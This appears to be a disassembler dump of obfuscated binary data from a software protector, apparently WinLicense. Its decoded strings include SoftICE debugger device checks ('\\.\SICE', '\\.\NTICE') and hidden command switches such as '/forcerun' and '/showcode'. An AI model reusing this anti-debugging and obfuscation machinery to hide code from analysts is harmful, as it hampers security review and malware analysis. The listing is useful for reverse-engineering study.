		dd 0E906149Fh, 0FFFDE1C5h, 14A0BD68h, 0E1BBE906h, 0F168FFFDh
		dd 0E90614A1h, 0FFFDE1B1h, 14A25D68h, 0E1A7E906h, 2C68FFFDh
		dd 0E90614A3h, 0FFFDE19Dh, 14A3A868h, 0E193E906h, 887BFFFDh
		dd 9A8E7E1Ch, 0AAA29230h, 0C4BAAA48h, 0DBD0C05Eh, 968D573h
		dd 0A03EA69Bh, 0B755B9B0h, 0D06ECEC7h, 0EA88E6E0h, 0F1198AEBh
		dd 0F875FDA5h, 85AD93E5h, 726A5954h, 1FB70D10h,	8C62EB74h
		dd 0D62C2F97h, 0E9071B43h, 6AD4226Fh, 0FB2F5AF7h, 635DAB69h
		dd 4542FB10h, 82616CBCh, 6CCAC48Eh, 20913CD4h, 49C33A43h
		dd 0A6010452h, 0E8711CA7h, 0B7BA1812h, 384F761h, 5E43D575h
		dd 35DC1DECh, 0B1119CC4h, 0C155A34Fh, 0E7581C38h, 4FB1CDBFh
		dd 0F0E880CEh, 4C2B95F9h, 8AE153FEh, 5E95C119h,	0F7CD58C2h
		dd 0F31B8CFDh, 0FA4FB202h, 0F1F4524Ch, 0C06B039Bh, 9890F2EAh
		dd 57D53F9Fh, 1D0F6D67h, 99AC5354h, 0AC1DC2A5h,	44000006h
		dd 5747E551h, 6B5BF963h, 83731173h, 9989278Dh, 319E3CA4h
		dd 76F64D6h, 1E827969h,	37979080h, 51AFA999h, 0E253B4B3h
		dd 75FDA6BAh, 0F5CAEC1h, 0E28FBB15h, 8BEDDABCh,	9695F0F3h
		dd 11EF600Bh, 7C69FE64h, 0B4AD832Eh, 0CDC6B654h, 8F016A6Dh
		dd 0F0CE3499h, 0B7ADA553h, 8EF84E51h, 6C5EBCB6h, 7360C7FBh
		dd 406207EAh, 0B0000006h, 0C3B351BDh, 0D7C765CFh, 0EFDF7DDFh
		dd 5F593F9h, 9D0AA810h,	73DBD042h, 8AEEE5D5h, 0A303FCECh
		dd 0BD1B1505h, 4EBF201Fh, 75FDA626h, 5CD02235h,	26299186h
		dd 948E66D0h, 0E78DAE3Ah, 2EC6FDADh, 1D7B752Bh,	43A39C72h
		dd 88F2524Bh, 0F1D188A5h, 1D9EC61Dh, 5C32BBD8h,	0A8FE0165h
		dd 0E91FED15h, 584EFC6Fh, 0B7F05AF2h, 62h, 92865C5Dh, 0ECE6BE28h
		dd 0C44DF08Eh, 0E9072B53h, 8C84326Fh, 39D1272Ah, 487493CFh
		dd 5E6FE907h, 0E95B0664h, 57511786h, 9A2E65F9h,	0DC71EF59h
		dd 36A752D1h, 69FBC39Fh, 91F5ECC2h, 7CE2D88Eh, 218B2379h
		dd 7349F442h, 8C7C1A7Ah, 0B2883393h, 0AED647B8h, 0BD75FB44h
		dd 8A6DD76Fh, 572E5h, 150F9300h, 5259B4B7h, 4EB324CFh
		dd 1369FB1Ch, 96D3E5A1h, 8EF86D4Dh, 0D3C361AFh,	3ADD7BD9h
		dd 5086E64h, 0C5C845AFh, 2D22933Eh, 3C701054h, 746D43EEh
		dd 0BE56C0B4h, 77373020h, 83861E7Eh, 8375D3CDh,	796F2962h
		dd 246F14F7h, 0CC000005h, 0DFCF6DD9h, 0F3E381EBh, 0BFB99FBh
		dd 2111AF15h, 0B926C42Ch, 8FF7EC5Eh, 0A60A01F1h, 0BF1F1808h
		dd 0D9373121h, 6ADB3C3Bh, 75FDA742h, 0FE43649h,	0FB615715h
		dd 0B0AA6063h, 91324F52h, 0F660C4BBh, 0DA0B7555h, 5A6FE905h
		dd 1D7D095Dh, 0FF184CD8h, 5CF2FFFFh, 282B8F86h,	81E1DAD2h
		dd 0D4453F17h, 0E9073B63h, 5CF4426Fh, 740FFE59h, 244758C9h
		dd 98E669FBh, 0DB6665FAh, 23EEBF30h, 0F13F700Dh, 2C709DEEh
		dd 0E7AA6FE9h, 0B4B71911h, 1A42B35Eh, 216FE92Ch, 0E8C869D3h
		dd 1DA3BD14h, 16B04D8h,	0ADAA0000h, 0CA595485h,	2F11AE1Fh
		dd 7E5469FBh, 79A11285h, 8075FB2Fh, 0EA069A32h,	2F729308h
		dd 8EDCBB25h, 5C532994h, 9CA3F5F8h, 3FDCB95h, 0F88216AEh
		dd 8674B1F1h, 2D42B51Fh, 5EBC455Ch, 2850C16Fh, 374FB165h
		dd 35A651E9h, 49C36358h, 66DB8BFDh, 0CBCE382Ch,	0F3F4E175h
		dd 49E14B3Fh, 8DF75951h, 460800AEh, 4D50E852h, 15C5FF7h
		dd 5BCC770Ah, 43D563DAh, 0A47A2573h, 0CBA14CAAh, 86046ED6h
		dd 4C3E9C96h, 99AD318Fh, 0F02ED3B6h, 3,	1303A10Dh, 2717B51Fh
		dd 3F2FCD2Fh, 5545E349h, 0ED5AF860h, 0C32B2092h, 0DA3E3525h
		dd 0F3534C3Ch, 0D6B6555h, 9E0F706Fh, 75FDA876h,	6A207285h
		dd 0AC35E063h, 0E907133Bh, 62CC1A6Fh, 9B7066D7h, 519F69FDh
		dd 77D7D0A6h, 6C6036D9h, 0FEA9FF02h, 0FDA4658Dh, 0BC267475h
		dd 888BEBE4h, 887AD8D2h, 7360B141h, 846005E8h, 6C000003h
		dd 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh
		dd 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh
		dd 75FDA9E2h, 0F84D6E9h, 0FEB4B715h, 86A3A604h,	0FB6DEFCFh
		dd 211A6CC1h, 0D272DC1h, 4677EA54h, 0CE6FE9D5h,	1E4C7DD1h
		dd 0FD74C0D8h, 5C66FFFFh, 0C02A9086h, 8D90EEE8h, 0FDA83B32h
		dd 0FB266F8Ch, 0B2509E69h, 4B80AD5Eh, 0A516C140h, 69FB2F08h
		dd 5EB1ABF9h, 0CE109E1Ch, 7FF09E8Dh, 1DEE6257h,	0D5801866h
		dd 608764h, 0EFE89618h,	9E368C8Fh, 0B64D409Bh, 96199A0Bh
		dd 0E2301212h, 13CAE37h, 9FE4384Ch, 615B339Dh, 0B149ABA3h
		dd 6B292313h, 52B6AD77h, 5E61F94Fh, 417E7008h, 0D4CB7009h
		dd 2B54CF1h, 483B0000h,	5A4E3EDCh, 6A6252F0h, 847A6A08h
		dd 9B90801Eh, 0C9289533h, 60FE665Bh, 77157970h,	902E8E87h
		dd 0AA48A6A0h, 0B1D94AABh, 0B875FDAAh, 865C53A5h, 0D1272A90h
		dd 60E3EA67h, 9B3844B5h, 590769FDh, 0A2F8FB65h,	64D65F0Ah
		dd 0F1D68FA7h, 623AA406h, 70590D69h, 0BD51B9AEh, 770FE864h
		dd 90F0E9D9h, 584E248Dh, 0A0389A92h, 5DD479Dh, 2BBAD0Bh
		dd 7736118h, 2397F24h, 0C4B70000h, 0D6CABA58h, 0E6DECE6Ch
		dd 0F6E684h, 170CFC9Ah,	45A411AFh, 0DC7AE2D7h, 0F391F5ECh
		dd 0CAA0A03h, 26C4221Ch, 2D55C627h, 3C75FDAAh, 636AD729h
		dd 0B8C435E0h, 8769FD9Bh, 0BEB88E39h, 322DC260h, 4882F49Fh
		dd 41A79D4Fh, 793ACEADh, 25FB840Fh, 11756C2Ch, 0B620B80Eh
		dd 0FDF61543h, 0C7CA1875h, 0B1B41C11h, 645951h,	0D8883CD1h
		dd 46F18981h, 0AA147A70h, 0F698972Ch, 0FD4E5D85h, 861E6C75h
		dd 4E3A6ADBh, 35175FDh,	6CF7E658h, 512C24A6h, 544E04E7h
		dd 3B3E9C96h, 0EA4A4DE5h, 0E72693Fh, 0F761550Bh, 231DF55Fh
		dd 3D3727C5h, 32C4DCDFh, 0B98868FFh, 0D3C361BFh, 0C2787BD9h
		dd 466265CDh, 0E4DEAD8Dh, 0CDCD3126h, 165E7E6Ah, 3DDB730Bh
		dd 45F0584Dh, 8BEFE6BCh, 779F3288h, 8675FD3Ah, 0D3EBCE38h
		dd 24AD2E23h, 0FD3A8BB3h, 0DA449275h, 958A5939h, 63EC8F2Dh
		dd 0FD3ACAF2h, 1983D175h, 60D14C41h, 75FD3A38h,	3FA19947h
		dd 0B64EE63Ch, 0A404FDB3h, 0AB8B4AA1h, 0E17FE7DCh, 58ADCC3Eh
		dd 8C207E78h, 309AC1EFh, 0FD005E58h, 60CABE94h,	811D83F6h
		dd 0C786DDAEh, 968F65E7h, 73DD3336h, 0A543A19Bh, 5A5DBBB5h
		dd 0E8017FF1h, 0B6EA8336h, 177F744Ch, 0E95AE36Ch, 2E503DC1h
		dd 0BFE77AC8h, 0CE2E503Dh, 0D6331680h, 76703F1Fh, 908A7A18h
		dd 0D9D42F32h, 3D9EC637h, 5FAD2E50h, 5EAB1CC7h,	0AF28623Fh
		dd 3F2EC361h, 0A688F9A4h, 0E12272D3h, 9E279093h, 4AAC052Dh
		dd 0CFF7682Eh, 0DE2E4AACh, 0D9439190h, 0D960701h, 4AAC749Ch
		dd 9A2D7B2Eh, 2E4AAC72h, 0F5932B79h, 257C952h, 0C4F63964h
		dd 1FE60EA1h, 94F52E4Ah, 4A1FFB23h, 1CB4022Eh, 82E0DAB2h
		dd 4A40167Fh, 218BE1E4h, 64E792AEh, 4A2AE1BFh, 8523817Bh
		dd 0E4DD9B95h, 932B8184h, 7EE4DA90h, 0A008FDD3h, 0FADD479Dh
		dd 8204E4A3h, 0D86088F9h, 216F4074h, 87E5DFB7h,	4CBD46E9h
		dd 4074D824h, 9B73DD2Bh, 0C29843A1h, 0B9E152CDh, 0C04074D8h
		dd 81D7DA72h, 88F3417h,	0EE000000h, 52BC2218h, 0F599516h
		dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
		dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 56FD68h
		dd 241C8900h, 0C381E389h, 4, 8704EB83h,	685C241Ch
		dd 5FC4h, 68243489h, 4E28h, 50240489h, 0FE468B68h, 3F0D585Ah
		dd 51468078h, 385D07B9h, 0E1D14901h, 55E8E181h,	0E1C16AC7h
		dd 0B6E18102h, 8144B102h, 0E9E073E9h, 59C80158h, 8358C689h
		dd 248904ECh, 24048124h, 4, 0F7895758h,	8408F57h, 2434FF5Fh
		dd 4C48358h, 5724348Bh,	0C781E789h, 4, 8704C783h, 0E95C243Ch
		dd 0FFFDD96Dh, 1602ECC5h, 0F3FB98BCh, 0A606B811h, 0C5030614h
		dd 9E63E0FFh, 9A182E9Ch, 17966265h, 33848CEh, 7E9F46E7h
		dd 992F03A1h, 0BFD96A02h, 7F5B3307h, 2A401349h,	6FF759Ch
		dd 96407DC4h, 0CA33052Ah, 0EB196EBFh, 0B85C1A38h, 834E29FAh
		dd 0BBD81349h, 0A46537C3h, 89C154FDh, 439F714Bh, 0DE86075h
		dd 43000000h, 98C174B8h, 92FA3006h, 0A338CA8Ch,	13E9h
		dd 9DD09100h, 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh
		dd 0EE95Eh, 3DD90000h, 38B3FB58h, 60328312h, 30AAB95Bh
		dd 6761C681h, 33F50000h, 0EEFEBFC0h, 0C8B4D6Dh,	0D0EA8006h
		dd 21BAE981h, 5E96A70h,	0B7000000h, 7072DACh, 0E7C0C181h
		dd 81F5237Fh, 934F36C1h, 91BA6631h, 0D780513Fh,	6048F14h
		dd 0DE9h, 735EEF00h, 0A2824AB4h, 9209E79Eh, 7E9E239h, 0A6000000h
		dd 58525FB4h, 0E88132A6h, 4C28E959h, 35C78166h,	55C08155h
		dd 0E94C28E9h, 0Bh, 428F5F47h, 1C79BD8Eh, 8101CC06h, 0FF9980F8h
		dd 12850FFFh, 66000000h, 5F0DCA81h, 1BE9h, 0F439AC00h
		dd 0ED3B2063h, 38E0FF6h, 80000000h, 67E9DBE3h, 0AFFFFFFFh
		dd 261C9981h, 8DE9h, 0BD836000h, 6121889h, 5840F00h, 0E9000000h
		dd 78h,	3E80006Ah, 8850F30h, 6A000000h,	35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 15E908C4h
		dd 8D000000h, 1216B585h, 4895006h, 96509624h, 95FF006Ah
		dd 6122341h, 85C6C361h,	6122871h, 0D189684Dh, 348197FAh
		dd 0CFA72124h, 39B5FF33h, 8D06121Dh, 123B5D85h,	89D0FF06h
		dd 12234185h, 0AAE906h,	6F530000h, 61777466h, 575C6572h
		dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
		dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
		dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
		dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
		dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 32858900h, 8D0614A9h
		dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh
		dd 0B5FF196Ah, 614A932h, 6A016Ah, 0A8C7858Dh, 0FF500614h
		dd 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h,	3A95FF06h
		dd 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h, 0A9328589h
		dd 858D0614h, 614A92Eh,	98858D50h, 500614A8h, 168h, 3E95FF80h
		dd 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah, 0A8F1858Dh
		dd 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h
		dd 3A95FF06h, 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h
		dd 0A9328589h, 858D0614h, 614A92Eh, 98858D50h, 500614A8h
		dd 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah
		dd 0A8D9858Dh, 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h
		dd 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h,	0A195FF06h
		dd 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh,	98858D50h
		dd 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h
		dd 6A046Ah, 0A904858Dh,	0FF500614h, 14A92EB5h, 1195FF06h
		dd 0FF061223h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h
		dd 0A195FF06h, 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh
		dd 98858D50h, 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h
		dd 500614A9h, 6A046Ah, 0A8B4858Dh, 0FF500614h, 14A92EB5h
		dd 1195FF06h, 0FF061223h, 14A92EB5h, 3A95FF06h,	0FF0614A9h
		dd 14A92EB5h, 0A195FF06h, 0C3061218h, 2411BD83h, 0F000612h
		dd 0B84h, 119D8B00h, 83061224h,	3894CC3h, 11BD83C3h, 61224h
		dd 0B840Fh, 9D8B0000h, 6122411h, 8950C383h, 0BD83C303h
		dd 6122411h, 0B840F00h,	8B000000h, 1224119Dh, 54C38306h
		dd 83C30389h, 122411BDh, 840F0006h, 0Bh, 24119D8Bh, 0C3830612h
		dd 0C3038958h, 2411BD83h, 0F000612h, 0B84h, 119D8B00h
		dd 83061224h, 3895CC3h,	8960C3C3h, 14A93285h, 2E858D06h
		dd 500614A9h, 0A898858Dh, 68500614h, 80000001h,	0A93E95FFh
		dd 46A0614h, 0A932858Dh, 6A500614h, 8D006A04h, 14A92985h
		dd 0B5FF5006h, 614A92Eh, 231195FFh, 0BD830612h,	6121B91h
		dd 0C840F00h, 0FF000000h, 14A92EB5h, 3A95FF06h,	0FF0614A9h
		dd 14A92EB5h, 0A195FF06h, 61061218h, 858960C3h,	614A932h
		dd 0A92E858Dh, 8D500614h, 14A89885h, 1685006h, 0FF800000h
		dd 14A93E95h, 8D046A06h, 14A93285h, 46A5006h, 858D006Ah
		dd 614A90Bh, 2EB5FF50h,	0FF0614A9h, 12231195h, 91BD8306h
		dd 6121Bh, 0C840Fh, 0B5FF0000h,	614A92Eh, 0A93A95FFh, 0B5FF0614h
		dd 614A92Eh, 18A195FFh,	0C3610612h, 32858960h, 8D0614A9h
		dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh
		dd 858D046Ah, 614A932h,	6A046A50h, 12858D00h, 500614A9h
		dd 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h, 0F000612h
		dd 0C84h, 2EB5FF00h, 0FF0614A9h, 14A93A95h, 2EB5FF06h
		dd 0FF0614A9h, 1218A195h, 60C36106h, 0A9328589h, 858D0614h
		dd 614A92Eh, 98858D50h,	500614A8h, 168h, 3E95FF80h, 6A0614A9h
		dd 32858D04h, 500614A9h, 6A046Ah, 0A91A858Dh, 0FF500614h
		dd 14A92EB5h, 1195FF06h, 83061223h, 121B91BDh, 840F0006h
		dd 0Ch,	0A92EB5FFh, 95FF0614h, 614A93Ah, 0A92EB5FFh, 95FF0614h
		dd 61218A1h, 8960C361h,	14A93285h, 2E858D06h, 500614A9h
		dd 0A898858Dh, 68500614h, 80000001h, 0A93E95FFh, 46A0614h
		dd 0A932858Dh, 6A500614h, 8D006A04h, 14A92185h,	0B5FF5006h
		dd 614A92Eh, 231195FFh,	0BD830612h, 6121B91h, 0C840F00h
		dd 0FF000000h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h
		dd 0A195FF06h, 61061218h, 85C760C3h, 614A932h, 1, 0A92E858Dh
		dd 8D500614h, 14A89885h, 2685006h, 0FF800000h, 14A93E95h
		dd 0FC00B06h, 0F84h, 3285C700h,	614A9h,	0E9000000h, 4Dh
		dd 858D046Ah, 614A932h,	6A046A50h, 0AC858D00h, 500614A8h
		dd 0A92EB5FFh, 95FF0614h, 6122311h, 840FC00Bh, 0Fh, 0A93285C7h
		dd 614h, 0AE90000h, 0C7000000h,	14A93285h, 106h, 2EB5FF00h
		dd 0FF0614A9h, 1218A195h, 858B6106h, 614A932h, 858960C3h
		dd 614A932h, 0A92E858Dh, 8D500614h, 14A89885h, 1685006h
		dd 0FF800000h, 14A93E95h, 8D046A06h, 14A93285h,	46A5006h
		dd 858D006Ah, 614A8ACh,	2EB5FF50h, 0FF0614A9h, 12231195h
		dd 91BD8306h, 6121Bh, 0C840Fh, 0B5FF0000h, 614A92Eh, 0A93A95FFh
		dd 0B5FF0614h, 614A92Eh, 18A195FFh, 0C3610612h,	32858960h
		dd 8D0614A9h, 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h
		dd 614A93Eh, 858D046Ah,	614A932h, 6A046A50h, 0BE858D00h
		dd 500614A8h, 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h
		dd 0F000612h, 0C84h, 2EB5FF00h,	0FF0614A9h, 14A93A95h
		dd 2EB5FF06h, 0FF0614A9h, 1218A195h, 0C6C36106h, 12287185h
		dd 7685206h, 0FFADE47Bh, 1222EDB5h, 8995FF06h, 89061216h
		dd 14A93E85h, 7185C606h, 52061228h, 2E00E568h, 0EDB5FF90h
		dd 0FF061222h, 12168995h, 3A858906h, 0C60614A9h, 12287185h
		dd 35685206h, 0FFB9BF12h, 1222EDB5h, 8995FF06h,	89061216h
		dd 12231185h, 7185C606h, 52061228h, 78103468h, 0EDB5FF98h
		dd 0FF061222h, 12168995h, 0A1858906h, 0C6061218h, 12287185h
		dd 0D4685206h, 0FFC005DBh, 1222EDB5h, 8995FF06h, 89061216h
		dd 12176585h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0E9C08B00h
		dd 0Dh,	0D352302Eh, 730D342Dh, 73306ADh, 850FFDh, 83000000h
		dd 121B91BDh, 9750006h,	17DDBD83h, 74000612h, 8B535019h
		dd 40FB8C0h, 85890000h,	6120085h, 0AE0F9D8Dh, 0D3FF0614h
		dd 0BD83585Bh, 61217DDh, 50177400h, 40FB853h, 85890000h
		dd 6120085h, 0AAFE9D8Dh, 0D3FF0614h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8B55EC3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FDC35343h
		dd 13D27A89h, 8B557767h, 12211995h, 0BFC08B06h,	3D483D9Fh
		dd 287185C6h, 8B430612h, 120179B5h, 60786806h, 0BE66B699h
		dd 4815ADBh, 0F50E8424h, 8E905h, 46090000h, 0F1B4B07Eh
		dd 0B5FFEE8Bh, 61203B1h, 1739BD89h, 858D0612h, 6123B5Dh
		dd 3810Fh, 0BF0F0000h, 0FD0FFF8h, 687h,	0E9BD0B00h, 9006122Dh
		dd 0F18B6660h, 0BE85061h, 0A9000000h, 0F980B471h, 436BF0AAh
		dd 870FDCBDh, 2, 90598EB2h, 3DB52Bh, 6A0612h, 9118589h
		dd 0F6680612h, 81E86E46h, 0B98A2404h, 81501791h, 0F0FE67CFh
		dd 36A5F61h, 19C99509h,	6A0612h, 2955BD29h, 36A0612h, 18B98D8Bh
		dd 4E80612h, 0
		dd 50C00000h, 448BD18Bh, 0BA660424h, 8B3951h, 4489CF8Bh
		dd 6A580424h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0AEC3C350h, 9D8D2D98h,	614AF75h
		dd 29758529h, 8E90612h,	0A2000000h, 0EE7C74E5h,	937A1A3Ah
		dd 5E950h, 0F3280000h, 935E7E2Ch, 5E9D0FFh, 0A6000000h
		dd 10A70EEAh, 0DF850F40h, 50000002h, 1F999D89h,	585A0612h
		dd 7E8h, 88451400h, 0BED96825h,	11E9905Ah, 5000000h, 22679818h
		dd 911F71C2h, 3A705567h, 8239F28Ch, 6A9050h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 80C53AC3h
		dd 6A70F5h, 8E9h, 11377200h, 0FF4659Dh,	4E850h,	800000h
		dd 0F9BE0000h, 505D4B44h, 8BFE8B66h, 8B042444h,	14E800h
		dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h,	0CF11F9A9h
		dd 10E8E9FDh, 0F4000000h, 6C724615h, 56365B37h,	21A71537h
		dd 5001D64Bh, 5A310F52h, 89595958h, 66042444h, 5893D6B9h
		dd 6AF18B66h, 0D08B6603h, 8B66006Ah, 8B036AD3h,	0CF8B66CAh
		dd 4E8h, 0
		dd 0F5250C0h, 28Eh, 0F616000h, 10840F31h, 0E9000000h, 0Bh
		dd 0AF902448h, 73AA7A31h, 5A5269C0h, 52505058h,	310F99B1h
		dd 17BB6660h, 61616079h, 448B585Ah, 0EE90424h, 0D000000h
		dd 58949DA6h, 9422F9C8h, 3CD55877h, 60008B96h, 0E851D8B5h
		dd 5, 2F507CB6h, 615A5F80h, 4244489h, 6658FB8Bh, 8D2FBFBFh
		dd 14AF7E9Dh, 0AE906h, 1A980000h, 9A5FECD0h, 84BB3DCh
		dd 66525093h, 310FCB8Bh, 5E78B550h, 0F50585Ah, 980h, 3890F00h
		dd 66000000h, 8193FA8Bh, 0E15F8FDEh, 66D0FF7Ch,	0C2CDDE81h
		dd 5B850F40h, 0E9000001h, 13h, 27B569BDh, 0A7896050h, 9DC027E5h
		dd 4ABC489Eh, 58BF6CBAh, 1E91BD89h, 8A900612h, 8B9050C8h
		dd 121811BDh, 8B006A06h, 1217E995h, 0ADD76806h,	8C0F41EDh
		dd 2, 3481F88Bh, 0EDAD5724h, 0CE941h, 0E4D80000h, 1E78EE2Ah
		dd 0BBC734EFh, 36A139Bh, 6A006AF8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 705BC353h
		dd 2AD9BD0Bh, 36A0612h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 8BC35343h, 0B7743699h, 43E44F20h, 4E8EB8Ah
		dd 0
		dd 66C00000h, 502BD4B9h, 870Fh,	448B0000h, 8B0424h, 50FA8B60h
		dd 1BE6652h, 8B310FDEh,	61585AC3h, 4244489h, 1A830Fh, 12E80000h
		dd 7F000000h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h,	8B06B56Eh
		dd 5AD68B45h, 8E858h, 66AD0000h, 81D1F6D6h, 0BD89452Bh
		dd 61217B5h, 899D8D59h,	520614AFh, 29358D03h, 935E0612h
		dd 50CB8B66h, 0FE8h, 47AB3D00h,	9356CA8Ah, 235FCBF9h, 83D1E884h
		dd 2F5AB966h, 0F680935Ah, 89D0FF55h, 122A219Dh,	850F4006h
		dd 12h,	2CED8589h, 0E9580612h, 161h, 0A2DB58Bh,	0D88B0612h
		dd 4995034Bh, 58061217h, 0C6CE8B66h, 12287185h,	6A4306h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0F66527C3h, 608CB0A6h, 8C0Fh, 71680000h, 57C8E4DBh
		dd 5097C2B9h, 3481596Ch, 9291D624h, 50006A08h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 9F301120h
		dd 9E9B197h, 0D8000000h, 0AF87A78Bh, 0AABAC08Eh, 13619D01h
		dd 0B5FF0612h, 61203B1h, 14E8h,	87CD0600h, 19471055h, 3D3AE378h
		dd 84AD59BBh, 6ECCA542h, 6840F94h, 89000000h, 1217F1B5h
		dd 8B665E06h, 5D858DF3h, 8906123Bh, 12174985h, 89D0FF06h
		dd 1210B595h, 14E99306h, 5A000000h, 0BD20D5A4h,	0C3F8C7ABh
		dd 8666DDE9h, 4038B94h,	50B7C31Eh, 0B9665250h, 310F31CAh
		dd 5AF88B66h, 0B58B9358h, 612101Dh, 8D8BD0FFh, 6122F55h
		dd 5E9h, 0AC250400h, 9D8DA17Bh,	6127277h, 1EA5B58Bh, 0B70F0612h
		dd 1B8F2h, 89500000h, 120479BDh, 800F5F06h, 6, 0E45B589h
		dd 0E3FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	51C35141h, 84AFBDBCh, 0FEB712C4h, 0CE8B6685h, 0E9C18BF5h
		dd 8, 4E5035A2h, 1954B584h, 0D68BC08Bh,	1B91BD83h, 75000612h
		dd 0DDBD8309h, 61217h, 53501974h, 0FB8C08Bh, 89000004h
		dd 12229585h, 769D8D06h, 0FF0614AEh, 83585BD3h,	1217DDBDh
		dd 17740006h, 0FB85350h, 89000004h, 12229585h, 179D8D06h
		dd 0FF0614ABh, 0F585BD3h, 682h,	0F98D3300h, 6A06120Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0EAA1C356h, 0CB20936Fh, 8BE862B4h, 0FE8C0h
		dd 52100000h, 2E2F5EF3h, 61B5DB1Dh, 10D4BCF2h, 958B600Ch
		dd 6121865h, 0DE9h, 0A72ACF00h,	2A763F0Ch, 0E02E8848h
		dd 5F61A956h, 0C781ABB2h, 7351h, 0CE9h,	5AB5EA00h, 0D28146A2h
		dd 4BE24048h, 6819h, 95890000h,	6121149h, 8E8605Bh, 0B5000000h
		dd 0A4B4529h, 60B5A1C7h, 0B5295961h, 61234B5h, 3B34FF61h
		dd 14E9h, 68A92F00h, 0BDB55F0Dh, 0AA79032Eh, 40F03970h
		dd 3DA402FAh, 81665975h, 813D56F0h, 38B519C1h, 10E850h
		dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0BE669025h
		dd 8158308Dh, 71D632F1h, 1958B37h, 8106122Bh, 0F541CEF1h
		dd 99958B7Ch, 89061214h, 0B58B1F0Ch, 6120C31h, 14E9h, 152F0B00h
		dd 0C19834Fh, 0C34CB249h, 918C6F9Dh, 703FC36h, 2AEB818Dh
		dd 8B55131Ah, 121C8585h, 26C38106h, 8B55131Ah, 122F4195h
		dd 0B8FB8106h, 0FFFFF8Dh, 0FFFF6085h, 0ED858BFFh, 0E906121Bh
		dd 99h,	6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0CABD8300h, 614B7h, 0A840Fh,	85C70000h, 61217DDh, 1
		dd 287185C6h, 68470612h, 4630EDEEh, 9F240481h, 0FF4A3C7Eh
		dd 1203B1B5h, 5D858D06h, 0FF06123Bh, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31E84h, 3F804700h, 14840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30684h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E3h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C6E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B7h, 0B74AB58Dh, 25E80614h
		dd 3000002h, 14B7DFBDh,	0DFBD8306h, 614B7h, 0B840Fh, 85C70000h
